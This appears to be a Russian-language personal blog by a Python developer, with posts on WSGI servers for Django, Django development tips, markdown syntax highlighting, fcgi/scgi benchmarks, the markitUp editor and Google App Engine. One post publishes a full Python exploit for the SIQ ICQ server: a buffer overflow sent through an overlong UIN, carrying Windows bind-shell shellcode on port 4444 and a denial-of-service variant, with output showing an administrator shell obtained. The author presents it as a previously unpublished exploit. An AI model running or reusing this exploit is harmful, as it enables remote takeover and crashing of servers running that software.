Альтернативные WSGI сервера для Django
Столкнулся с проблемой, после обновления джанги перестал корректно работать сервер scgi-flup + lighttpd. Причина банально проста, при POST-запросе на / получаем
WSGI решения
Сначала попробовал CherryPy, всё легко запускается, довольно быстро работает, но хотел чего-то большего ;) С подачи piranha глянул на FAPWS2 (Fast Asynchronous Python WebServer). Штука довольно интересная, использует libevent и основная часть кода написана на С, вечером нам всё таки удалось запустить проект на django 1.0. Из плюсов:
- использует мало памяти (~ на 5мб меньше чем cherrypy)
- написан на С
- поддержка WSGI
Из минусов:
- сомнительно стабильно %)
- мало наворотов
- проблемы с документацией
Одной из самый больших проблем оказалось отсутствие поля REMOTE_ADDR в запросе, из-за которого джанга местами валилась, хотя это можно легко исправить, но не факт что с остальным всё хорошо ;)
2й выбор пал на Cogen - "Coroutines and crossplatform asynchronous networking in python using enhanced generators from python 2.5" как описал это автор. Грубо говоря, это что-то вроде mini-twisted (надеюсь этой фразой я не спалил своё дилетанство в данном вопросе =) ) Так вот он, кроме всего, содержит в себе WSGI - сервер + работает через py-epoll. Для wsgi используется скрипт взятый из cherry, но доработанный под фреймворк (если это можно так назвать).
Теперь о вкусном=) По адресу http://code.google.com/p/cogen/wiki/WsgiServerBenchmark расположены бенчмарки, да, местами Twisted-Web2 выигрывает в скорости, но лично у меня нет желания юзать сию махину для данной цели, да и думаю там есть чему течь ;) Cogen также поддерживает middleware (смотреть cogen.web.async, хотя на WSGI мидлеты они не сильно похожи В] )
Запуска Django на Cogen
После запуска порадовала скорость, даже при 500 конкурирующих запросах (да, мало кому нужна такая нагрузка, но ради академического интереса пригодится) приложение не падало, ни одого failed request, при этом запросы обрабатывались равномерно (примерно за однин временной диапазон) %) В общем "ни единого разрыва" :p. Утечки памяти не были обнаружены, в то время как флуп при такой нагрузке отвечал на 25% запросов ошибкой. Из недостатков: как я понял у многих wsgi серверов проблемы с обработкой wsgi.input (хз в чём сложность, но в cogen и ещё одном сервере "из коробки" этого нет) и как поведёт себя cogen например при загрузке файла, я сказать не могу ибо не тестил, но сию проблему решил по простому (по дефолту от POST запросов джанга валится в трейсбек, тк wsgi.input = None). Скрипт для запуска Django:
#!/usr/bin/env python2.5 import sys import os import os.path from cogen.web import wsgi from cogen.web.async import sync_input from cogen.common import * if not os.path.dirname(__file__) in sys.path[:1]: sys.path.insert(0, os.path.dirname(__file__)) os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.core.handlers.wsgi import WSGIHandler application = WSGIHandler() m = Scheduler(default_priority=priority.LAST, default_timeout=15) server = wsgi.WSGIServer( ('localhost', 9000), sync_input(application), #!!! load middleware for wsgi.input m, server_name='localhost') m.add(server.serve) try: m.run() except (KeyboardInterrupt, SystemExit): pass
ЗЫ: easy_install cogen Проект довольно интересный, недостатков пока что не выявил. На сайте имеется документация и примеры скриптов, да и основная часть написана на python, разобраться не проблема. Возможно попробую использовать его + lighttpd c mod_proxy на боевом сервере. Написал заметку ради твика скрипта для обработки wsgi.input %))
Первый "блин" на Django
Давно ничего не писал в блог, т.к. сдавал диплом и писал футбольный портал (пока не презентабельно) Вот захотелось поделиться впечатлениями и имхами по ряду вещей и django в целом. Впечатления остались ... хорошими %) Последний раз смотрел на джангу года 3 назад, разница конечно большая.
Итак пару слов о проекте. Портал представляет из себя систему с блоками новостей и разделами, тегами, простыми блогами, форумом, регистрацией юзеров, турнирными таблицами, баннерной системой. Писать такое на web.py ммм, конечно можно, но пришлось бы изобретать ряд велосипедов.
Не думал что всё вышеперечисленное будет так просто реализовать%) Из основных модулей использовал:
- django-registration
- django-tagging
- django-robots
- django-forum
- UrlMiddleware + ThreadLocals
Вкратце о задачах и возникших сложностях.
Как оказалось, APPEND_SLASH не рaботает c FlatPages, то есть /about/ и /about - разные страницы. Решил сию проблему путём подключения UrlMiddleware и задания APPEND_SLASH = False.
При добавлении новостей было необходимо определять автора, давать пользователю задавать поле "автор" показалось не сильно корректным, но в джанге удобных средств для решения задачи не оказалось. Пришлось воспользоваться мидльварей ThreadLocals, которая при каждом запросе выдирает значение user из запроса и присваивает его глобальной переменной (на самом деле локальному треду, но это не столь важно =) ), который можно получить через ф-цию get_current_user(). Выглядит это примерно так:
def save(self): if not self.id: self.author = threadlocals.get_current_user() super(News, self).save()
В блогах потребовалось разграничить доступ для пользователей, то есть после авторизации пользователь должен видить только свои объекты (записи). Это легко можно сделать при помощи NFA, путём переопределения queryset() метода:
class EntryAdmin(admin.ModelAdmin): ... def queryset(self, request): qs = super(EntryAdmin, self).queryset(request) if not request.user.is_superuser: qs = qs.filter(blog__author=request.user) return qs
Таким образом мы получим только записи из блога залогиненого пользователя, довольно удобная штука (спасибо Кошелеву) =)
Когда я только начал писать проект, оказалось что ф-ции агрегации в ORM отсутвуют, но после рефакторинга-qs, кое-что появилось, о чём мало кто знает. В одной из задач возникла необходимость в группировки объектов, теперь через ORM это делается так:
qs = Schedule.objects.select_related().filter(pub_date__gte=datetime.now()) qs.query.group_by = ['country_id'] return {'schedule': qs}
Но вот Inline редактирование после NFA не понравилось, в старой админке это делалось 1й строкой, теперь же надо напистаь около 10 строк%). Пример прикручивания профиля к стандартной модели User:
from django.contrib import admin from profile.models import UserProfile from django.contrib.auth.models import User class ProfileInline(admin.StackedInline): model = UserProfile extra = 1 max_num = 1 class ProfileAdmin(admin.ModelAdmin): inlines = (ProfileInline,) admin.site.unregister(User) #!!! admin.site.register(User, ProfileAdmin)
По началу кажется избыточно, но потом привыкаешь (а ещё надо въехать где какую модель подставлять %)) Вместе с радостями жизни, узнал о get_profile()... это ужасная штука, которую я больше никогда не буду юзать, хотя снизить число запросов на 1 странице удалось при помощи тега cache в шаблонах Кстати в примере из документации, по подключению админки, пропущен вызов admin.autodiscover() в urls.py, так как без него мы получим пустую админку, если её описание задано в admin.py (данная ф-ция пробегает по всем apps и пытается импортировать admin.py) Кстати не советую объявлять прямо в модели, ибо вылазят ошибки, говорящие о том, что админка для модели уже задана. А вот FormSet'ы не осилил, долго маялся как убрать чекбокс delete над inline объектом (в старой админке это делалось через указание одной переменной). Хотя понял что надо задать can_delete = False, но где и как пока не ведомо) ибо по формсетам вменяемых примеров маловато, особенно по BaseInlineFormSet.
Комментарии решил хранить в форуме на базе django-forum. Кстати хочется оторвать яйца тому, кто когда-то в своём блоге хвалил сею поделку%) отсутсвие пагинации и по 30 запросов на 1 страницу это уж слишком, но при помощи ловкости рук и select_related() удалось довести до ума:
{% cache 600 profile comment.author %} {% if comment.author.get_profile.city %} ({{comment.author.get_profile.city}}) {% endif %} {% endcache %}
comment.author необходим для уникальности кеша
И последний момент - newforms. Было необходимо построить форму для модели (по началу думал руками нарисовать и не париться%), было бы быстрее...), но возникла необходимость заменить стандартный "class" на указанный в css:
from django.newforms.models import ModelForm from django.contrib.auth.models import User from profile.models import UserProfile from django import forms class ProfileForm(ModelForm): class Meta: model = UserProfile fields=('city',) class UserForm(ModelForm): class Meta: model = User fields=('first_name', 'last_name') #add class=reg4 to input field for form in (ProfileForm, UserForm): for f in form.base_fields: form.base_fields[f].widget.attrs.update({'class': 'rega4'})
Следующий момент. Возникла проблема с профилями, как оказалось они не создаются автоматически при регистрацие пользователя, решил при помощи сигналов (почему-то они вызываются по 2 раза и приходится делать проверку на существование профиля...)
def create_profile_for_user(sender, instance, signal, created, *args, **kwargs): if created: try: UserProfile.objects.get(user = instance) except (UserProfile.DoesNotExist, AssertionError): p = UserProfile( user = instance ) p.save() dispatcher.connect(create_profile_for_user, signal=signals.post_save, sender=User)
Метод выдрал из какой-то рассылки.
А вот пагинацию я вам не покажу)) ибо уж сильно она убога, а django-pagination поздно заметил.
Держит сие чудо по 25 запросов/сек (без кеша), а местами за 70 %) на простом VPS'e, работает под SCGI на lighttpd в 1 процесс/threaded режим, поедает 20Мб. Имхо не дурно =)
Чёт смотрю на подзаголовок "Вкратце..." ... но переименовывать уже лень=)
Спасибо Кошелеву, Соловьёву и lorien'y за подсказки на старте :] Пожалуй всё. Надеюсь я не принёс в сей мир очередную порцию "гавнакода", а внёс гармонию и красоту :)
Exception #07 video
Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.
Выложено 5 докладов:
- Мастер-класс по Python: Метаклассы + Дескрипторы
- Python и Django — платформа для фрилансера
- По ту сторону ООП: PEAK-Rules и PyProtocols
- Разработка Веб-приложений с использованием Grails
- Smalltalk — опыт применения
Все части доступны на YouTube
Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.
Выложено 5 докладов:
- Мастер-класс по Python: Метаклассы + Дескрипторы
- Python и Django — платформа для фрилансера
- По ту сторону ООП: PEAK-Rules и PyProtocols
- Разработка Веб-приложений с использованием Grails
- Smalltalk — опыт применения
Все части доступны на YouTube
SIQ (icq server for win32) exploit
Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)
Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )
Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):
# SIQ (www.kht.ru/homepage/apt/siq.htm) exploit #Coded by slav0nic (http://slav0nic.org.ua) import struct from socket import * from random import * """ word == 2 bytes ;) FLAP (6 bytes): CS - Command Start (byte) CH - Channel (byte) SN - Sequence Number (word) random L - Data Field Length (word) SNACs: -------------------------------- D - Data (L) \_ | TLV_id (word) | TLV_len (word) | TLV_data (TLV_len) |....... """ #Constants # TLV TLV_UIN = 1 TLV_PWD = 2 TLV_VERSION= 3 TLV_ERROR = 4 TLV_REDIR = 5 TLV_COOKIE = 6 TLV_COUNTRY = 14 TLV_LANG = 15 #--------------------------------- # Channels CH_LOGIN = 1 CH_SNAC = 2 CH_ERROR = 3 CH_LOGOUT = 4 HELLO = "\x00\x00\x00\x01" FLAP_START = "2a" DBG = 1 def get_hello(s): "get FLAP\x00\x00\x00\x01" data = s.recv(10) if data[-4:] == "\x00\x00\x00\x01": return True else: return False def get_length(hex_): """ hexed string ->int return int """ tmp = list(map(lambda x: str(ord(x)),tuple(hex_))) #convert hex->ascii and join tmp[0]=int(tmp[0])*256 _int=tmp[0]+int(tmp[1]) return _int #exmpl. 01 0a = 266 def tohex(str_): """ Use for debug str->hex return ([hex], str) """ hex_= map(lambda x: "%.2x"%ord(x),tuple(str_)) text =" ".join(hex_) return hex_, text def make_flap(channel,data): l = len(data) fmt = '!BBhh %ds' %l return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data) def tlv_make(TLV_id, TLV_data): """return tlv-encoded string""" l = len(TLV_data) fmt = '!hh %ds' % l return struct.pack(fmt, TLV_id, l, TLV_data) def parse_tlv(data): """ received data -> tvl_info{} """ tlv_info = {} while 1: if len(data)<4: break tlv_id = get_length(data[0:2]) #get tlv id (word) tlv_len = get_length(data[2:4]) #and len (word) tlv_info[tlv_id]=data[4:4+tlv_len] data = data[4+tlv_len:] #remove parsed data return tlv_info def make_snac(family, subtype, flags, req_id): fmt="!hhhl" return struct.pack(fmt,family, subtype, flags, req_id) def parse_flap(data): hex_data = tohex(data)[0] CS = hex_data[0] if CS != FLAP_START: if DBG: print "[-]Protocol error." CH = hex_data[1] SN = "".join(hex_data[2:4]) L = "".join(hex_data[4:6]) data_size=get_length(data[4:6]) D = "".join(hex_data[6:6+data_size]) tlv_info = parse_tlv(data[6:6+data_size]) print tlv_info #LOGIN if tlv_info.has_key(TLV_REDIR): ip_port=tlv_info.get(TLV_REDIR) if tlv_info.has_key(TLV_COOKIE): cookie = tlv_info.get(TLV_COOKIE) ip, port = ip_port.split(":") s = socket(AF_INET, SOCK_STREAM) # s.settimeout(3) #DBG s.connect((ip, int(port))) packet="\x2a\x01"+\ "\x20\x04\x01\x08\x00\x00\x00\x01"+\ tlv_make(6,cookie) s.send(packet) get_hello(s) rec=s.recv(1024) print "\n\nrec ",tohex(rec)[1] packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\ "\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02"+\ "\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15"+\ "\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01"+\ "\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01") s.send(packet) rec=s.recv(1024) print "\n\n",tohex(rec)[1] if DBG: print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\ %(CS, CH, SN, L, D) def make_pass(str_): """ encode string to password len(password) <= 16 return binary string """ roasting_array = ( 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C) passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)])) return passwrd def login(uin, password): """ uin and password - string return True if logged """ serverHost = "127.0.0.1" #login.icq.com serverPort = 5190 message = make_flap(CH_LOGIN,HELLO +\ tlv_make(TLV_UIN, uin)+\ tlv_make(TLV_PWD, make_pass(password))+\ tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\ tlv_make(16, "\x01\x0a")+\ tlv_make(17, "\x00\x03")+\ tlv_make(18, "\x00\x03")+\ tlv_make(19, "\x00\x01")+\ tlv_make(0x1a, "\x0e\xd8")+\ tlv_make(0x14, "\x00\x00\x00\x55")+\ tlv_make(TLV_LANG, "ru")+\ tlv_make(TLV_COUNTRY, "ru")) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect((serverHost, serverPort)) data = sockobj.recv(1024) #get hello msg (test packet) if DBG: print "<<",tohex(data)[1] if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data: if DBG: print "[+]Connected" else: print "[-]Server error. Can't get test FLAP" sockobj.close() if DBG: print "->",tohex(message)[1] # sockobj.settimeout(10) #DBG while True: sockobj.send(message) data = sockobj.recv(1024) if DBG: print "<<",tohex(data)[1] parse_flap(data) return True if __name__=="__main__": "bindshell 4444 shellcode for win2ksp4ru" sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes# uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400 login(uin,"123")
Запускаем и вуаля...
<< 2a 01 68 d3 00 04 00 00 00 01 [+]Connected -> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 ...
Смотрим открытые порты и видим наш 4444 порт В) :
C:\\WebServer\\siq>netstat -na
Активные подключения
Имя Локальный адрес Внешний адрес Состояние
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
...
TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1058 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1101 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5190 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5191 0.0.0.0:0 LISTENING
Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами.
Microsoft Windows 2000 [Версия 5.00.2195] (с) Корпорация Майкрософт, 1985-2000. C:\WINNT2\system32>
Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В)
Подсветка кода в markdown при помощи pygments
Решил прикрутить подсветку к markdown, благо он поддерживает плагины, но писать самоу не пришлось, ибо он уже написан и имя ему CodeHilite. Поддерживает 3 способа подсветки кода:
- GNU Enscript
- dp.SyntaxHighlighter
- Pygments
Для добавления к работе с mardown достаточно скачать mdx_codehilite.py и кинуть его с sys.path. Для работы с pygments необходимо сгенерировать css-файл подсветки кода ну и подключить его к странице в которой будет выводиться код:
pygmentize -f html -S colorful -a .codehilite > pygments.css
Далее всё просто:
>>> import markdown >>> txt = """ ... :::python ... #comment ... print "hello" ... """ >>> markdown.markdown(txt, ['codehilite(hiliter=pygments)']) u'<div class="codehilite"><pre><span class="c">#comment</span>\n<span class="k">print</span> <span class="s">"hello"</span>\n</pre></div>'
Для смены способа подсветки кода необходимо лишь сменить hiliter, за вывод номеров строк отвечает параметр force_linenos (значения on/off).
Удобная штука;]
fcgi vs scgi vs cherrypy (web.py dev server)
Приспичило посмотреть что есть scgi и чем он лучше. Тестил на lighttpd 1.49, возможно по этому результаты немного отличается от предыдущих тестов
Тестил при помощи ab на локалхосте. На простом приложении на web.py 0.23 для scgi:
slav0nic@sl:~$ cat /var/www/test/code.fcgi
#!/usr/bin/python2.5
import web, sys
urls = (
'/', 'index'
)
class index:
def GET(self):
web.header("Content-Type","text/html; charset=utf-8")
print web.ctx
web.wsgi.runwsgi = lambda func, addr=("127.0.0.1", 4000): web.wsgi.runscgi(func, addr)
if __name__ == '__main__':
sys.stderr = open("/dev/null", "a") #не выводим в консоль инфу о коннектах
web.run(urls, globals())
конфиг для mod_scgi:
scgi.server = ( "/code.fcgi" => ((
"host" => "127.0.0.1",
"port" => 4000,
"max-procs" => 1,
"bin-environment" => ("REAL_SCRIPT_NAME" => ""),
"check-local" => "disable")
))
для mod_fcgi:
fastcgi.server = ".fcgi" =>
(("bin-path"=>"/var/www/test/code.fcgi",
"socket" => "/tmp/python.socket",
"bin-environment" => (
"REAL_SCRIPT_NAME" => "",
"check-local" => "disable"),
"max-procs" => 1,
))
SCGI-приложение запускалось как простой файл ./code.fcgi c lighttpd общалось через tcp socket (через unix-socket оно похоже и не умеет, увы с доками к mod_scgi полная ж@#$). stderr редиректил в /dev/null, без этого на ~30-50 запросов в секунду меньше (при запусуке в gnome-terminal) Длина документа примерно 2Кб.
Максимальное число запросов в секунду выделено жирным, 2й - курсив, выдача статики приведена просто для сравнения и интеерса не представляет =)
Итакс результаты:
1 конкурирующий запрос, 2к запросов (последовательных)
FCGI, ab -n2000 localhost/
Requests per second: 564.05CherryPy/3.0.1 (то что в web.py встроено) ab -n2000 localhost:8080/
Requests per second: 898.09SCGI, /usr/sbin/ab -n2000 localhost/
Document Length: 2104 bytes
Requests per second: _ 674.35_
Transfer rate: 1503.80 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 localhost/static/
Document Length: 2455 bytes
Requests per second: 3053.12
5 конкурирующих запросов:
FCGI, /usr/sbin/ab -n2000 -c5 localhost/
Failed requests: 741
Requests per second: 537.87
Transfer rate: 1196.75 [Kbytes/sec] receivedCherryPy/3.0.1, /usr/sbin/ab -n2000 -c5 localhost:8080/
Failed requests: 3
Requests per second: 880.78
Transfer rate: 1540.49 [Kbytes/sec] receivedSCGI, sl:/etc/lighttpd# /usr/sbin/ab -n2000 -c5 localhost/
Requests per second: 764.70
Transfer rate: 1705.28 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 -c5 localhost/static/
Requests per second: 3301.76
Transfer rate: 8449.20 [Kbytes/sec] received
25 конкурирующих запросов:
FCGI, /usr/sbin/ab -n2000 -c25 localhost/
Failed requests: 718
Requests per second: 500.37
Transfer rate: 1112.56 [Kbytes/sec] receivedCherryPy/3.0.1 /usr/sbin/ab -n2000 -c25 localhost:8080/
Requests per second: 664.86
Transfer rate: 1163.18 [Kbytes/sec] receivedSCGI, /usr/sbin/ab -n2000 -c25 localhost/static/
Requests per second: 716.10
Transfer rate: 1596.89 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 -c25 localhost/static/
Requests per second: 3643.83
Transfer rate: 9311.81 [Kbytes/sec] received
PS: из результатов не понял что есть failed connection при использвоании FCGI, возможно это баг ab, возможно таки fascgi при нагрузке захлёбывался (аналогичное было при scgi, когда я не делал редирект stderr с консоли в /dev/null), хотя при попытках загрузки страницы браузером всё было ок, по результатам ab 40% запросов вернули ошибки... От cherry не ожидал такой скорости (при этом я не делал редирект коннектов в /dev/null, а stdio неплохо тормозит работу программы...), scgi выиграл только при значительной нагрузке, думаю при кластеризацие цифра будет ещё больше. ЗЫ: для проектов, с большой нагрузкой - fcgi в топку, из недостатоков scgi отмечу лишь "сложность" запуска, софтину надо запускать как демон, при этом прописать bin-path как в mod_fcgi (чтоб сервер сам это делал при старте) - не вышло.
markitUp
На днях возжелал прикрутить к админке какой-нибудь редактор, поддерживающих markdown, при этом являющимся чем-то средним между textarea и WYSIWYG Наткнулся на wmd-editor, но что-то он показался уж сильно простым=). С посыла piranha глянул markitUp. На нём и остановился:). Из особенной отмечу:
- используей jQuery
-
поддерживает:
- html
- bbcode
- textile
- wiki
- dotclear
- markdown
- легко расширяем + поддерживает плагины
- нелохо выглядит=) :
Также легко встраивается (даже такое далёкое от javascript существо как я, осилило сей незамысловатый процесс=] ). Из особенностей настройки отмечу лишь пару моментов при прикучивании markdown плагина...
В файле markitup/sets/markdown/set.js в настройках стоит добавить строку:
nameSpace: "markdown",
И указать previewParserPath , например:
previewParserPath: "/entry/preview"
Тут начинается интересный момент, в markitup имеется баг, при использовании utf8 в превьюшку посылаются кривые данные, для избавления от бага стоит заменить 389 строку в jquery.markitup.js, ф-цию escape($$.val()) заменить на encodeURIComponent($$.val()).
Контроллер /entry/preview выглядит просто:
class Preview:
def POST(self):
i = web.input()
print markdown.markdown(i.data.decode("utf8"))
То есть превью текст передаётся в переменной data. Осталось прикрутить pygments к markdown и можно жить В)
Python.com.ua -> python.su
Всё таки Денис Откидач подарил нам su домен, за что ему большое спасибо=)
Google App Engine
Тихо и незаметно гугл ведёт разработку своего вэб-фреймворка. Только сегодня был открыт блог разработчиков googleappengine.blogspot.com .
Офсайт фреймворка: appspot.com
Готовые/разрабатываемые приложения: appgallery.appspot.com
Docs/SDK/etc : code.google.com/appengine
Пока что фрейморк довольно простой, включает в себя db api, user api, email api, url fetch api и в принципе всё, ну диспатчер, шаблоны имеются (взятые с django, которая каким-то боком также прикручивается).
Многим он напоминает web.py :] Основной девелопер которого, даже выложил маленький код с использованием ORM из "gappe" и web.py 0.3 (dev): http://webpy.appspot.com
PS: поделка довольно забавная, но имхо по душе прийдётся лишь тем, кому не тошнить стиль webpy приложений) Джангистам он врядли прийдётся по душе. Надеюсь девелоперы webpy выдерут из него что-то полезное В)
Свежая мукулатура :]
Выложил пару новых книжек. Одна по pygame, 2я - по QT.

Beginning Game Development with Python and Pygame





